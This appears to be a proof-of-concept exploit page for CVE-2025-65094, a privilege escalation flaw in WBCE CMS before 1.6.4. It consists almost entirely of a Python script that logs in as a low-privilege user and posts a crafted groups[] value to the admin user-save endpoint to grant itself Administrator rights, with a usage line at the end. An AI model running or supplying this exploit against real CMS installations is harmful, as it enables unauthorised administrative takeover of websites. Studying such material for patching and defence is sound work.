CVE-2025-65094 WBCE CMS权限提升漏洞

import requests import re # CVE-2025-65094 WBCE CMS Privilege Escalation PoC # Target: WBCE CMS < 1.6.4 # Attack: Modify groups[] parameter in /admin/users/save.php TARGET_URL = "http://target.com" LOGIN_URL = f"{TARGET_URL}/admin/login/index.php" SAVE_URL = f"{TARGET_URL}/admin/users/save.php" def exploit(target_url, username, password): session = requests.Session() # Step 1: Login as low-privilege user login_data = { 'username': username, 'password': password } resp = session.post(LOGIN_URL, data=login_data) if 'dashboard' not in resp.text.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Get user ID and current session # Extract user_id from account settings or user profile user_id = 2 # Example: regular user ID # Step 3: Craft privilege escalation request # Change groups[] from current group to Administrators (group_id=1) exploit_data = { 'user_id': user_id, 'groups[]': '1', # Administrators group 'active': '1', 'submit': 'Save' } # Step 4: Send exploit request resp = session.post(SAVE_URL, data=exploit_data) if resp.status_code == 200: print("[+] Privilege escalation successful!") print("[+] User now has Administrator privileges") return True print("[-] Exploit failed") return False if __name__ == "__main__": # Usage: python cve-2025-65094.py exploit(TARGET_URL, "regular_user", "user_password")